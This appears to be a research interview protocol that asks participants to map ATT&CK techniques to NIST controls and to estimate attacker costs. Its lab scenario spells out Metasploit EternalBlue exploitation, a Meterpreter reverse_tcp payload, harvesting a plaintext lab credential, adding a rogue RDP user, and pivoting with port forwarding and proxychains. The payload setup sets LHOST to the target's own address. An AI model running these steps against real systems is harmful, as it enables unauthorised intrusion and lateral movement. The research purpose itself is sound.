Interview Protocol/Guide: Cyber Security Controls and Cost Factors

1 Controls

This part of the interview will be surrounding what cyber security controls an organisation may employ to defend against various cyber attack techniques. The cyber attack techniques are as described in the Mitre ATT&CK Framework, the suggested controls are from NIST 800-53. The techniques and their respective controls are grouped into the tactics found in ATT&CK. *Show participant the ATT&CK Framework Tactic and the list of controls mapped to it.*

- Do you think this level of abstraction for security controls is appropriate?
  Probe: If it is too high/low level, why do you think this?
- Do you think that the controls listed are comprehensive? That is, in performing the various techniques in this tactic, would you expect to see any other cyber security controls employed to defend against you?

2 Cost Factors

This part of the interview will be surrounding a basic scenario where you will be asked to perform cyber attack techniques and describe what you are doing, why, and what *types* of costs you may encounter. For this scenario, please consider your answers from the viewpoint of an active adversary, rather than a white hat on a penetration testing engagement. Please also try and think of all cost factors that may relate to the techniques being performed, these may not necessarily be incurred at the exact time of execution.

2.1 The Scenario

2.1.1 Pre-Attack

Participants will be presented with a Kali Linux machine which has an nmap scan on the desktop called nmapScan.txt completed with the `--script=vuln` tag against vic1.

Question:

- For expediency's sake, assume you have completed the nmap scan on the desktop. What types of costs do you think may have occurred up to, and including, that point?
  Note: If an example is needed, suggest reconnaissance prior to network scanning which may be conducted.

Ask the participant to use the information in the nmap output to attack the machine with the IP address `192.168.188.129`. If assistance is needed, point out that the machine appears to be vulnerable to `ms17-010`, Eternal Blue.

2.1.2 Initial Access

Note: Example questions to ask during Initial Access:

- What particular techniques are you using?
- Why are you using these techniques?
- What tools are you using?
- What costs are there in acquiring and learning these tools/techniques?
- What processes would be involved for learning these tools/techniques?
  Probe: If courses mentioned, what kind of financial/time investments would be expected to complete?

```
>msfconsole
>use exploit/windows/smb/ms17_010_eternalblue
>set RHOSTS 192.168.188.129
```

(IP address final octet may vary above)

---

*ALTERNATE**

Optional payload selection:

```
>set PAYLOAD windows/x64/meterpreter/reverse_tcp
>set LHOST 192.168.188.129
```

```
>exploit
```

Questions after Initial Access step:

- Do you think there would be an different types of cost incurred if you used a different Initial Access technique such as breaking into a WiFi network, spearphishing, or even compromising a supply chain?

2.1.3 Lateral Movement

Note: Example questions to ask during Lateral Movement:

- What particular techniques are you using?
- Why are you using these techniques?
- What tools are you using?
- What costs are there in acquiring and learning these tools/techniques?
- What processes would be involved for learning these tools/techniques?
  Probe: If courses mentioned, what kind of financial/time investments would be expected to complete?

```
C:\Windows\system32>cd C:\Users\Victim\Desktop
C:\Users\Victim\Desktop>dir
C:\Users\Victim\Desktop>more creds.txt
more creds.txt
192.168.76.129
Username:  Victim2
Password:  v1ct1m@
```

Participant can then create an account and put them in remote desktop users:

```
C:\>net user /add NAME PASS
C:\>net localgroup ‘‘Remote Desktop Users’’ NAME
/add
```

Back in terminal:

```
>rdesktop 192.168.188.129 -u NAME -p PASS -f
```

Once on the Windows machine use its ‘Remote Desktop Connection’ to further RDP into the final machine.

---

*ALTERNATE**

If participant has used the Meterpreter payload it is, instead, possible to port forward through the session and then remote desktop to the new machine:

```
meterperter > portfwd add -l 3389 -p 3389 -r
192.168.76.129
```

(IP address final octet may vary above)

In another terminal:

```
>rdesktop 192.168.76.129 -u Victim2
```

Use the password recovered from the Victim1 desktop and you're in.

---

*ALTERNATE 2**

If the participant has used the Meterpreter payload it is also possible to forward and use proxy chains:

```
meterpreter > background
meterpreter > use post/multi/manage/autoroute
meterpreter > set SESSION x
```

Where ‘x’ is the session opened.

```
meterpreter > set SUBNET 192.168.76.0/24
meterpreter > run
meterpreter > use auxiliary/server/socks4a
meterpreter > run
```

In another terminal:

```
>nano /etc/proxychains.conf
```

Edit the last line to be uncommented as:

```
socks4 127.0.0.1 1080
```

Finally use remote desktop:

```
>proxychains rdesktop 192.168.76.129 -u Victim2
```

Use the password recovered from the Victim1 desktop and you're in.

Questions after Lateral Movement step:

- Do you think there would be an different types of cost incurred if you used a different Lateral Movement technique such as pass the hash?

2.1.4 Post-Attack

Questions to ask after the scenario:

- Do you think you would incur any different or extra costs for carrying out additional tactics such as:
  - Persistence?
  - Privilege escalation?
  - Command and Control?
  - Exfiltration?
- Do you think these costs are affected by the target implementing cyber security controls?
  Probe: If yes, how are they affected?